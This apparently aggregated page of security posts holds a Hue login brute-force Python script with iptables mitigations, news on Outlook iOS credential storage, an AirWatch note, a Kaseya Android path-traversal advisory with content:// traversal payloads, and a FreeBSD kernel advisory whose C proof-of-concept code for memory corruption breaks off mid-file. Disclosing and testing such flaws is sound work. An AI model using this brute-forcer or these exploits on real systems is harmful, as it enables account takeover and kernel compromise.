Aerosol

The term “Big Data” has been flinging around quite a lot lately. It is in the news all the time. We hear about how much it has pushed us into the future and into the internet of things. These things all will produce useful data that will need to be analyzed and stored. One technology that we hear more and more about is Hadoop. Hadoop was birthed as an open source project from the Google filesystem (GFS), and Map Reduce white-papers; the creator is Doug Cutting and the open source community. Map reduce is the core of Hadoop, and allows the user to write very simple programs to distribute workload across a complex amount of data. The Google filesystem inspired the majority of the work for the open source Hadoop filesystem (HDFS). HDFS is a redundant filesystem written in Java that distributes data across multiple machines that can be analyzed using Map reduce programming. That is just a brief dive into what Hadoop is, and if you want to learn more I highly recommend you take a gander at the Yahoo Hadoop tutorial. Here is an ecosystem filled with projects that make managing this complex monster easier on administrator’s and developer’s. One of these projects that I really enjoy is Hue, the Hadoop User Experience. It gives a web interface for the user to query their data using some of these projects that live in this big data ecosystem like: Hive Pig Oozie Impala Each of these tools sits in front of a plethora of data that the user is analyzing. This data can be anything from a company’s customer generated data that tells a music service what song to play next, to another company trying to figure out which ads to serve you based on your browsing history. My point being — Hue has access to some seriously valuable information. As with most technologies, security is often an after-thought. It is important we test the security of these applications so that we can protect my data and your data from the evil-doers who will sell the same information or use it for awful things. Perhaps a criminal can use pilfered data about you to create malware that you will more easily fall prey to. The reason that I have picked Hue as an example of a much larger conversation is because it is pretty, and it does cool things. Hue has a standard user management system that allows the administrator to grant access to certain accounts. Lets crack some Hue accounts! Of course in this article I’m using a Virtual Machine and not testing on live systems in the wild. That would be highly unethical…but the point of this is to help others remember that not all people out there are ethical, and to “scare” people into taking preventive measures to thwart attacks — much like children stories about being good or the boogie man will get you. So, I decided to test the limits and see how easy it would be to crack into a Hue account using old school methods of brute-forcing. As a standard bad practice people use the username ‘admin’ as the default administrative user for their systems. Shall we see if we can crack a user account. ~$ ./hute.py .... .... .... .... .... .... .... .... .... .... .... Success! admin:admin Completed attack at 2014-09-30 16:19:55.113608 Here is the source code for those who care and would like to test their own systems using the same methods in this proof of concept. #!/usr/bin/python import sys import requests import datetime from fake_useragent import UserAgent ## CONFIG STARTS HERE ## user = "admin" host = "hostname:port" listfile = "~/dictionaries/top1000-worst-passwords.txt" ## CONFIG ENDS HERE## dictionary = open(listfile) list = dictionary.readlines() words = [ ] print "Initializing dictionary", for entry in list: print('.'), newword = entry.rstrip("\n") words.append(newword) print "Now testing " for password in words: ua = UserAgent().random headers = { "User-Agent" : ua } post = { "username" : user, "password" : password } r = requests.post("http://" + host + "/accounts/login/?next=/", headers=headers, data=post) invalid = r.text.find("Invalid") if invalid == -1: print "\nSuccess! " + user + ":" + password print "Completed test at ", print datetime.datetime.now() sys.exit() else: print "...." print "Attack unsuccessful...Completed at ", print datetime.datetime.now() What next, how do we stop the attacks? At the time of this writing it would seem that Hue does not have a mechanism for two-factor authentication, although there are libraries out there for two factor auth within django. What we can do is protect Hue with some iptables magic. We can use iptables’ recent module to keep an eye out for shady traffic and to act on that traffic: $ iptables -I INPUT -p tcp --dport 8888 -m state --state NEW -m recent --name hue-firewall --update --seconds 30 --hitcount 10 -j DROP ~$ iptables -I INPUT -p tcp --dport 8888 -m state --state NEW -m recent --name hue-firewall --set Above when we have more than 10 immediate hits we will drop the incoming traffic for 30 seconds, thus thwarting any effective bruteforce attempt. It is not full-proof, but definitely going to put a dent in most bruteforce attacks on Hue. The point of this article is to not shame Hue by any means, but to shine light on security in this emerging space. Unfortunately the issue of bruteforce is an age old concern. The developers and systems administrators would like to blame the users themselves for choosing such awful passphrases. We can shuffle this around all we want, but only a few lines of code to save the user from hanging themselves — which is the job of the developer. These security lessons have been learned time and time again Source

Big Blue boffin Rene Winkelwyer has taken aim at Microsoft's iOS Outlook app, launched overnight, claiming it stores credentials in the cloud potentially even after delete requests, and does not observe known good security practices. The spray against the House That Bill Built followed an examination into the way the app handles push notifications. Winkelwyer (@muenzpraeger), a developer at Midpoints GmbH, said the app stores user email and server credentials in the cloud without readily informing users, which jeopardises corporate security. "Microsoft will get and store your mail account credentials in the cloud if you use the iOS Outlook app," Winkelwyer said in a post. "What I saw was breathtaking: A frequent scanning from an AWS IP to my mail account [which] means Microsoft stores my personal credentials and server data somewhere in the cloud. "It hasn't asked me, it just scan, so it has in theory full access to my PIM (personal information management) data." Rene Winkelwyer via Twitter Microsoft has been contacted for comment. An updated policy by now Microsoft-owned Acompli, a recent Redmond acquisition that is responsible for the iOS app, was dug up by fellow IBM bod Harald Gaerttner and reportedly revealed it stored credentials. Here's the critical policy extract: Other alleged security failures Winkelwyer points out in his post include the assignment of a single identity number to all devices associated with an account, meaning individual iThings cannot be distinguished. He labelled the ability to share attachments to Dropbox, OneDrive and Google Drive a "security nightmare" as it means content can be shared beyond business boundaries. Corporate email credentials stored in Microsoft cloud boxes would not flush when users opted to uninstall the app and delete remote data, the dev claimed, while some users comment on his blog with theories credentials may also be cached on devices. Accounts can also be erased by emailing support. "The only advice I can give you at this stage is: block the app from accessing your companies [sic] mail servers and inform your users that they shouldn't use the app." Winkelwye's post also mentions the way IBM does email security in its own Notes products. So he's not entirely independent. Yet his post does seem to point out rather basic flaws in Outlook for iOS's approach to security. Source

Multiple direct object reference vulnerabilities were found within the AirWatch cloud console. VMWare advised that these issues also affect on-premise AirWatch deployments. A malicious AirWatch user may leverage several direct object references to gain access to information regarding other AirWatch customers using the AirWatch cloud. This includes viewing groups and downloading private APKs belonging to other organizations. Read more: http://dl.packetstormsecurity.net/1501-exploits/AirWatch_Multiple_Direct_Object_Reference_Vulnerabilities.pdf

( , ) (, . '.' ) ('. ', ). , ('. ( ) ( (_,) .'), ) _ _, / _____/ / _ \ ____ ____ _____ \____ \==/ /_\ \ _/ ___\/ _ \ / \ / \/ | \\ \__( <_> ) Y Y \ /______ /\___|__ / \___ >____/|__|_| / \/ \/.-. \/ \/:wq (x.0) '=.|w|.=' _=''"''=. presents.. Kaseya Browser Android Path Traversal Affected Versions: Kaseya Browser 7.0 Android PDF: http://www.security-assessment.com/files/documents/advisory/Kaseya_Browser_Android_Path_Traversal.pdf +-------------+ | Description | +-------------+ This advisory details a vulnerability found within Kaseya Browser Android application. A path traversal vulnerability was discovered within an exported content provider, resulting in the disclosure of arbitrary files, including internal application files. +--------------+ | Exploitation | +--------------+ The Kaseya Browser Android application exposes a content provider that is vulnerable to path traversal. This allows any other application installed on the device to read arbitrary files using the Kaseya Browser application’s permissions. This can be done by reading from the com.roverapps.retriever content provider as follows: content://com.roverapps.retriever/../../../../../sdcard/<file> content://com.roverapps.retriever/../databases/suitestorage.db +----------+ | Solution | +----------+ No official solution is currently available for this issue. +---------------------+ | Disclosure Timeline | +---------------------+ 03/10/2014 - Initial contact with Kaseya Support 09/10/2014 - Established Kaseya security contact 13/10/2014 - Advisories sent to Kaseya 21/10/2014 - Additional information sent to Kaseya 22/11/2014 - Update from Kaseya 29/01/2015 - Advisory Release +-------------------------------+ | About Security-Assessment.com | +-------------------------------+ Security-Assessment.com is Australasia's leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients. Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research. For further information on this issue or any of our service offerings, contact us: Web www.security-assessment.com Email info () security-assessment com Phone +64 4 470 1650 Source

WordPress Photo Gallery 1.2.8 Cross Site Scripting WordPress Photo Gallery 1.2.8 SQL Injection WordPress Geo Mashup 1.8.2 Cross Site Scripting

Here we will be looking a kernel level privilege escalation vulnerability CVE - 2014 - 4113 . The vulnerability is exploited by creating tagWND structure at NULL page (0x000 00000). We’ll see here why control is transferred to the shellcode and the reason the malicious tagWND structure is th e crafted the way it is. User - Mode Code The exe first tries to determine the OS it is running on and stores the following data in the vari able based on the OS version and build: Windows Xp S p2 0c8 Windows Xp S p1 12c Windows Xp S p3 0d8 Windows Server 2008 0e0 windows 7 / Windows Server 2008 R2 0f8 Read more: http://www.exploit-db.com/wp-content/themes/exploit/docs/35937.pdf

Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ FreeBSD Kernel Multiple Vulnerabilities 1. *Advisory Information* Title: FreeBSD Kernel Multiple Vulnerabilities Advisory ID: CORE-2015-0003 Advisory URL: http://www.coresecurity.com/content/freebsd-kernel-multiple-vulnerabilities Date published: 2015-01-27 Date of last update: 2015-01-27 Vendors contacted: FreeBSD Release mode: Coordinated release 2. *Vulnerability Information* Class: Unsigned to Signed Conversion Error [CWE-196], Improper Validation of Array Index [CWE-129], Improper Validation of Array Index [CWE-129] Impact: Code execution, Denial of service Remotely Exploitable: No Locally Exploitable: Yes CVE Name: CVE-2014-0998, CVE-2014-8612, CVE-2014-8612 3. *Vulnerability Description* FreeBSD is an advanced computer operating system used to power modern servers, desktops and embedded platforms. A large community has continually developed it for more than thirty years. Its advanced networking, security and storage features have made FreeBSD the platform of choice for many of the busiest web sites and most pervasive embedded networking and storage devices. Multiple vulnerabilities have been found in the FreeBSD kernel code that implements the vt console driver (previously known as Newcons) and the code that implements SCTP sockets. These vulnerabilities could allow local unprivileged attackers to disclose kernel memory containing sensitive information, crash the system, and execute arbitrary code with superuser privileges. 4. *Vulnerable packages* . FreeBSD 10.1-RELEASE. Other versions may be affected too but they were no checked. 5. *Non-vulnerable packages* . FreeBSD 10.1-RELENG. 6. *Vendor Information, Solutions and Workarounds* The FreeBSD team has released patches for the reported vulnerabilities. You should upgrade to FreeBSD 10.1-RELENG or one of the following releases: . stable/10, 10.1-STABLE . releng/10.1, 10.1-RELEASE-p5 . releng/10.0, 10.0-RELEASE-p17 . stable/9, 9.3-STABLE . releng/9.3, 9.3-RELEASE-p9 . stable/8, 8.4-STABLE . releng/8.4, 8.4-RELEASE-p23 The vendor publish a security Advisory that can be accessed here[6]. 7. *Credits* This vulnerability was discovered and researched by Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Joaquin Rodriguez Varela from Core Advisories Team. 8. *Technical Description / Proof of Concept Code* 8.1. *FreeBSD vt Driver VT_WAITACTIVE Sign Conversion Vulnerability* [CVE-2014-0998] FreeBSD 10.1-RELEASE added[1] the 'vt(4)'[2] console driver (previously known as Newcons[3]). This new console driver can be enabled by adding the line 'kern.vty=vt' to the '/boot/loader.conf' file and then rebooting the system. The vt console driver is prone to a sign conversion error when handling the 'VT_WAITACTIVE' ioctl message, which can be ultimately leveraged by a local unprivileged attacker to make the kernel access an array outside of its boundaries. The vt console driver provides multiple virtual terminals, which are mapped to the '/dev/ttyv*' device nodes. A user can send messages to the vt driver by opening the '/dev/ttyv*' device node belonging to his virtual terminal and then using the 'ioctl' system call. The function 'vtterm_ioctl' in 'sys/dev/vt/vt_core.c' handles ioctl messages sent to the vt driver. One of the supported messages is called 'VT_WAITACTIVE': /----- static int vtterm_ioctl(struct terminal *tm, u_long cmd, caddr_t data, struct thread *td) { int error, i, s; [...] switch (cmd) { [...] case VT_WAITACTIVE: error = 0; i = *(unsigned int *)data; if (i > VT_MAXWINDOWS) return (EINVAL); if (i != 0) vw = vd->vd_windows[i - 1]; [...] -----/ As shown above, when handling the 'VT_WAITACTIVE' ioctl message, the 'data' input buffer (which is fully controlled by the local user) is casted as '(unsigned int *)' in order to read an 'unsigned int' from the input data; however, the read value is stored in the 'i' variable, which has *signed* type 'int'. This sign conversion error will make possible for a local attacker to bypass the subsequent boundary check that tries to ensure that 'i' is not greater than 'VT_MAXWINDOWS' before using it as an index to access the 'vd->vd_windows' array. This flaw can be leveraged by a local attacker to make the kernel access the 'vd->vd_windows' array outside of its boundaries. The following disassembly snippet represents the vulnerable code in the FreeBSD kernel binary ('/boot/kernel/kernel'): /----- vtterm_ioctl+1306 loc_C09B2506: ; CODE XREF: vtterm_ioctl+D6Cj vtterm_ioctl+1306 cmp esi, 20047606h ; case VT_WAITACTIVE: vtterm_ioctl+130C mov ecx, edx ; ecx = vd->vd_windows vtterm_ioctl+130E mov eax, ebx vtterm_ioctl+1310 jnz loc_C09B275B vtterm_ioctl+1316 mov eax, [eax] ; i = *(unsigned int *)data; vtterm_ioctl+1318 cmp eax, 0Ch ; if (i > VT_MAXWINDOWS)... vtterm_ioctl+131B mov edi, 16h vtterm_ioctl+1320 jg loc_C09B2760 ; *** signed comparison! vtterm_ioctl+1326 test eax, eax ; if (i != 0)... vtterm_ioctl+1328 jz short loc_C09B2531 vtterm_ioctl+132A mov eax, [ecx+eax*4-4] ; **** vw = vd->vd_windows[i - 1]; ---> access vd->vd_windows outside of its boundaries vtterm_ioctl+132E mov [ebp+var_30], eax -----/ 8.2. *FreeBSD SCTP Socket SCTP_SS_VALUE Memory Corruption Vulnerability* [CVE-2014-8612] FreeBSD implements the Stream Control Transmission Protocol (SCTP).[4]. A userland application can use the 'getsockopt/setsockopt' system calls in order to manipulate the options associated with an SCTP socket. The FreeBSD kernel is prone to a memory corruption vulnerability when setting the 'SCTP_SS_VALUE' SCTP socket option via the 'setsockopt' system call. This vulnerability can be leveraged by a local unprivileged attacker to corrupt kernel memory with an arbitrary 16-bit value. The handling of the 'setsockopt' system call at the SCTP level is performed by the function 'sctp_setopt' [file 'sys/netinet/sctp_userreq.c']: /----- static int sctp_setopt(struct socket *so, int optname, void *optval, size_t optsize, void *p) { [...] switch (optname) { [...] case SCTP_SS_VALUE: { struct sctp_stream_value *av; SCTP_CHECK_AND_CAST(av, optval, struct sctp_stream_value, optsize); SCTP_FIND_STCB(inp, stcb, av->assoc_id); if (stcb) { if (stcb->asoc.ss_functions.sctp_ss_set_value(stcb, &stcb->asoc, &stcb->asoc.strmout[av->stream_id], av->stream_value) < 0) { -----/ As shown above, when handling the 'SCTP_SS_VALUE' socket option, the 'optval' option value (which is fully controlled by the local user), is casted to the 'struct sctp_stream_value *' type and stored into the 'av' variable by using the 'SCTP_CHECK_AND_CAST' macro. After that, if the 'sctb' pointer is not 'NULL' (condition that can be achieved by having the SCTP socket in a *connected* state), then the 'stcb->asoc.ss_functions.sctp_ss_set_value' function pointer is called. The third argument for this function is '&stcb->asoc.strmout[av->stream_id]'. As can be seen, the unstrusted 'av->stream_id' value (which is fully controlled by the local attacker) is used as an index within the 'stcb->asoc.strmout' array without properly checking if it's within the bounds of the array. However, note that the memory address calculated using the untrusted index is not dereferenced yet; just the calculated address is passed as an argument to the function, so there is still no memory access at this point. 'stcb->asoc.ss_functions' has type 'struct sctp_ss_functions', which is a struct defined in the file 'sys/netinet/sctp_structs.h' containing several function pointers. One of its members is 'sctp_ss_set_value', which is the one being called when handling the 'SCTP_SS_VALUE' socket option: /----- /* * RS - Structure to hold function pointers to the functions responsible * for stream scheduling. */ struct sctp_ss_functions { void (*sctp_ss_init) (struct sctp_tcb *stcb, struct sctp_association *asoc, int holds_lock); void (*sctp_ss_clear) (struct sctp_tcb *stcb, struct sctp_association *asoc, int clear_values, int holds_lock); void (*sctp_ss_init_stream) (struct sctp_stream_out *strq, struct sctp_stream_out *with_strq); void (*sctp_ss_add_to_stream) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, struct sctp_stream_queue_pending *sp, int holds_lock); int (*sctp_ss_is_empty) (struct sctp_tcb *stcb, struct sctp_association *asoc); void (*sctp_ss_remove_from_stream) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, struct sctp_stream_queue_pending *sp, int holds_lock); struct sctp_stream_out *(*sctp_ss_select_stream) (struct sctp_tcb *stcb, struct sctp_nets *net, struct sctp_association *asoc); void (*sctp_ss_scheduled) (struct sctp_tcb *stcb, struct sctp_nets *net, struct sctp_association *asoc, struct sctp_stream_out *strq, int moved_how_much); void (*sctp_ss_packet_done) (struct sctp_tcb *stcb, struct sctp_nets *net, struct sctp_association *asoc); int (*sctp_ss_get_value) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, uint16_t * value); int (*sctp_ss_set_value) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, uint16_t value); }; -----/ The file 'sys/netinet/sctp_ss_functions.c' defines an array called 'sctp_ss_functions'; each element of this array has type 'struct sctp_ss_functions' and defines a set of function pointers suitable for different SCTP socket options: /----- struct sctp_ss_functions sctp_ss_functions[] = { /* SCTP_SS_DEFAULT */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_default_clear, .sctp_ss_init_stream = sctp_ss_default_init_stream, .sctp_ss_add_to_stream = sctp_ss_default_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_default_remove, .sctp_ss_select_stream = sctp_ss_default_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_ROUND_ROBIN */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_default_clear, .sctp_ss_init_stream = sctp_ss_default_init_stream, .sctp_ss_add_to_stream = sctp_ss_rr_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_default_remove, .sctp_ss_select_stream = sctp_ss_default_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_ROUND_ROBIN_PACKET */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_default_clear, .sctp_ss_init_stream = sctp_ss_default_init_stream, .sctp_ss_add_to_stream = sctp_ss_rr_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_default_remove, .sctp_ss_select_stream = sctp_ss_rrp_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_rrp_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_PRIORITY */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_prio_clear, .sctp_ss_init_stream = sctp_ss_prio_init_stream, .sctp_ss_add_to_stream = sctp_ss_prio_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_prio_remove, .sctp_ss_select_stream = sctp_ss_prio_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_prio_get_value, .sctp_ss_set_value = sctp_ss_prio_set_value }, /* SCTP_SS_FAIR_BANDWITH */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_fb_clear, .sctp_ss_init_stream = sctp_ss_fb_init_stream, .sctp_ss_add_to_stream = sctp_ss_fb_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_fb_remove, .sctp_ss_select_stream = sctp_ss_fb_select, .sctp_ss_scheduled = sctp_ss_fb_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_FIRST_COME */ { .sctp_ss_init = sctp_ss_fcfs_init, .sctp_ss_clear = sctp_ss_fcfs_clear, .sctp_ss_init_stream = sctp_ss_fcfs_init_stream, .sctp_ss_add_to_stream = sctp_ss_fcfs_add, .sctp_ss_is_empty = sctp_ss_fcfs_is_empty, .sctp_ss_remove_from_stream = sctp_ss_fcfs_remove, .sctp_ss_select_stream = sctp_ss_fcfs_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value } }; -----/ Note that the value for the 'sctp_ss_set_value' field is *almost* always set to 'sctp_ss_default_set_value', which is just a dummy function defined in 'sys/netinet/sctp_ss_functions.c': /----- static int sctp_ss_default_set_value(struct sctp_tcb *stcb SCTP_UNUSED, struct sctp_association *asoc SCTP_UNUSED, struct sctp_stream_out *strq SCTP_UNUSED, uint16_t value SCTP_UNUSED) { /* Nothing to be done here */ return (-1); } -----/ The only case in which the 'sctp_ss_set_value' field is set to a different value is in the 4th element of the array, which corresponds to the 'SCTP_SS_PRIORITY' socket option; in that case, the function pointer is set to 'sctp_ss_prio_set_value', which is a function defined in 'sys/netinet/sctp_ss_functions.c': /----- static int sctp_ss_prio_set_value(struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, uint16_t value) { if (strq == NULL) { return (-1); } strq->ss_params.prio.priority = value; sctp_ss_prio_remove(stcb, asoc, strq, NULL, 1); sctp_ss_prio_add(stcb, asoc, strq, NULL, 1); return (1); } -----/ The 'value' parameter is fully controlled by the attacker, and the actual value of the 'strq' pointer parameter is the address '&stcb->asoc.strmout[av->stream_id]' in which the attacker can set the 'av->stream_id' index beyond the boundaries of the array, so this function will provide a write-what-where memory corruption primitive when doing the 'strq->ss_params.prio.priority = value' assignment. This memory corruption vulnerability allows a local unprivileged attacker to overwrite kernel memory outside of the 'stcb->asoc.strmout' array with an arbitrary 'uint16_t' value. In order to make use of the 'sctp_ss_prio_set_value' function, the attacker needs to set up the 'stcb->asoc.ss_functions' struct with the function pointers belonging to the 'SCTP_SS_PRIORITY' socket option. This can be done by hitting the following code in the 'sctp_setopt' function; as can be seen, the 'stcb->asoc.ss_functions' struct can be properly set up for the attack by setting an 'SCTP_PLUGGABLE_SS' socket option with an option value of type 'struct sctp_assoc_value' having its 'assoc_value' field set to 'SCTP_SS_PRIORITY' (see the 'stcb->asoc.ss_functions = sctp_ss_functions[av->assoc_value] ' statement): /----- case SCTP_PLUGGABLE_SS: { struct sctp_assoc_value *av; SCTP_CHECK_AND_CAST(av, optval, struct sctp_assoc_value, optsize); /* Checks if av->assoc_value is a valid index within the sctp_ss_functions array */ if ((av->assoc_value != SCTP_SS_DEFAULT) && (av->assoc_value != SCTP_SS_ROUND_ROBIN) && (av->assoc_value != SCTP_SS_ROUND_ROBIN_PACKET) && (av->assoc_value != SCTP_SS_PRIORITY) && (av->assoc_value != SCTP_SS_FAIR_BANDWITH) && (av->assoc_value != SCTP_SS_FIRST_COME)) { SCTP_LTRACE_ERR_RET(inp, NULL, NULL, SCTP_FROM_SCTP_USRREQ, EINVAL); error = EINVAL; break; } SCTP_FIND_STCB(inp, stcb, av->assoc_id); if (stcb) { stcb->asoc.ss_functions.sctp_ss_clear(stcb, &stcb->asoc, 1, 1); /* The function pointers struct is set up here!!! */ stcb->asoc.ss_functions = sctp_ss_functions[av->assoc_value]; stcb->asoc.stream_scheduling_module = av->assoc_value; stcb->asoc.ss_functions.sctp_ss_init(stcb, &stcb->asoc, 1); SCTP_TCB_UNLOCK(stcb); -----/ 8.3. *FreeBSD SCTP Socket SCTP_SS_VALUE Kernel Memory Disclosure Vulnerability* [CVE-2014-8612] The third vulnerability is closely related to the second one. The FreeBSD kernel is prone to a kernel memory disclosure when reading the value of the 'SCTP_SS_VALUE' SCTP socket option via the 'getsockopt' system call, which allows local unprivileged attackers to read 16-bit values belonging to the kernel memory space. The handling of the 'getsockopt' system call at the SCTP level is performed by the function 'sctp_getopt' [file 'sys/netinet/sctp_userreq.c']: /----- static int sctp_getopt(struct socket *so, int optname, void *optval, size_t *optsize, void *p) { [...] switch (optname) { [...] case SCTP_SS_VALUE: { struct sctp_stream_value *av; SCTP_CHECK_AND_CAST(av, optval, struct sctp_stream_value, *optsize); SCTP_FIND_STCB(inp, stcb, av->assoc_id); if (stcb) { if (stcb->asoc.ss_functions.sctp_ss_get_value(stcb, &stcb->asoc, &stcb->asoc.strmout[av->stream_id], &av->stream_value) < 0) { -----/ When handling the 'SCTP_SS_VALUE' socket option, the 'optval' option value (which is fully controlled by the local attacker), is casted to the 'struct sctp_stream_value *' type and stored into the 'av' variable by using the 'SCTP_CHECK_AND_CAST' macro. After that, if the 'sctb' pointer is not 'NULL' (condition that can be achieved by having the SCTP socket in a *connected* state), the 'stcb->asoc.ss_functions.sctp_ss_get_value' function pointer is called. The third argument for this function is '&stcb->asoc.strmout[av->stream_id]'. As can be seen, the unstrusted 'av->stream_id' value (which is fully controlled by the local attacker) is used as an index within the 'stcb->asoc.strmout' array without properly checking if it's within the bounds of the array. The default value for the 'sctp_ss_get_value' function pointer is 'sctp_ss_default_get_value', which is just a dummy function defined in 'sys/netinet/sctp_ss_functions.c': /----- static int sctp_ss_default_get_value(struct sctp_tcb *stcb SCTP_UNUSED, struct sctp_association *asoc SCTP_UNUSED, struct sctp_stream_out *strq SCTP_UNUSED, uint16_t * value SCTP_UNUSED) { /* Nothing to be done here */ return (-1); } -----/ The only useful possible value for this function pointer is 'sctp_ss_prio_get_value', which belongs to the function pointers of the 'SCTP_SS_PRIORITY' socket option: /----- static int sctp_ss_prio_get_value(struct sctp_tcb *stcb SCTP_UNUSED, struct sctp_association *asoc SCTP_UNUSED, struct sctp_stream_out *strq, uint16_t * value) { if (strq == NULL) { return (-1); } *value = strq->ss_params.prio.priority; return (1); } -----/ The actual value of the 'strq' pointer parameter is the address '&stcb->asoc.strmout[av->stream_id]' in which the attacker can set the 'av->stream_id' index beyond the boundaries of the array, so this function will allow a local unprivileged attacker to read an 'uint16_t' value belonging to the kernel memory outside of the 'stcb->asoc.strmout' array when doing the '*value = strq->ss_params.prio.priority' assignment. In order to make use of the 'sctp_ss_prio_get_value' function, the attacker needs to set up the 'stcb->asoc.ss_functions' struct with the function pointers belonging to the 'SCTP_SS_PRIORITY' socket option, as it was previously explained for the second vulnerability. 8.4. *Proof of Concept* The following code is a Proof of Concept for the first vulnerability: /----- #include <stdio.h> #include <sys/consio.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv){ int fd; printf("** FreeBSD vt Driver VT_WAITACTIVE Sign Conversion Vulnerability PoC **\n"); if (argc < 2){ printf("\nUsage: ./poc_vt </dev/ttyv*>, where ttyv* is your current virtual terminal.\n"); printf("\nExample: ./poc_vt /dev/ttyv1\n\n"); exit(1); } fd = open(argv[1], O_RDONLY); if (fd == -1){ perror("open"); exit(1); } /* 0x90919293 is a negative number when it's interpreted as a signed int, thus it will bypass the * (signed) boundary check that tries to guarantee that this value is not greater than VT_MAXWINDOWS (12). * This value will be ultimately used as an index to access the vd->vd_windows array. */ if (ioctl(fd, VT_WAITACTIVE, (void *) 0x90919293) == -1){ perror("ioctl"); } close(fd); return 0; } -----/ The following code is a Proof of Concept for the second vulnerability: /----- #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <netinet/sctp_uio.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define PORT 4444 #define ADDR "127.0.0.1" int main(int argc, char *argv[]) { int fd; struct sockaddr_in addr; struct sctp_initmsg init; struct sctp_stream_value stream_value; struct sctp_assoc_value assoc_value; socklen_t opt_len; printf("** FreeBSD SCTP Socket SCTP_SS_VALUE Memory Corruption Vulnerability PoC **\n"); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP)) < 0) { perror("socket"); goto out; } memset(&init, 0, sizeof(init)); init.sinit_num_ostreams = 2048; if (setsockopt(fd, IPPROTO_SCTP, SCTP_INITMSG, &init, (socklen_t)sizeof(struct sctp_initmsg)) < 0) { perror("SCTP_INITMSG"); goto out; } memset(&addr, 0, sizeof(addr)); #ifdef HAVE_SIN_LEN addr.sin_len = sizeof(struct sockaddr_in); #endif addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ADDR); if (connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { perror("connect"); goto out; } /* Set up the stcb->asoc.ss_functions struct with the function pointers belonging to the SCTP_SS_PRIORITY socket option */ memset(&assoc_value, 0, sizeof(assoc_value)); assoc_value.assoc_value = SCTP_SS_PRIORITY; assoc_value.assoc_id = SCTP_CURRENT_ASSOC; if (setsockopt(fd, IPPROTO_SCTP, SCTP_PLUGGABLE_SS, &assoc_value, (socklen_t)sizeof(struct sctp_assoc_value)) < 0){ perror("setting up function pointers"); goto out; } memset(&stream_value, 0, sizeof(stream_value)); stream_value.assoc_id = SCTP_CURRENT_ASSOC; /* * stream_id will be used as an index into the stcb->asoc.strmout array without performing bounds checking. * stream_value will be written to the calculated address. */ stream_value.stream_id = 0xFFFF; stream_value.stream_value = 0x4142; /* Triggering the vulnerability... */ if (setsockopt(fd, IPPROTO_SCTP, SCTP_SS_VALUE, &stream_value, (socklen_t)sizeof(struct sctp_stream_value)) < 0){ perror("triggering the vulnerability"); goto out; } out: if (close(fd) < 0) { perror("close"); } return(0); } -----/ The following code is a Proof of Concept for the third vulnerability: /----- #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <netinet/sctp_uio.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define PORT 4444 #define ADDR "127.0.0.1" int main(int argc, char *argv[]) { int fd; struct sockaddr_in addr; struct sctp_initmsg init; struct sctp_stream_value stream_value; struct sctp_assoc_value assoc_value; socklen_t opt_len; printf("** FreeBSD SCTP Socket SCTP_SS_VALUE Kernel Memory Disclosure Vulnerability **\n"); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP)) < 0) { perror("socket"); goto out; } memset(&init, 0, 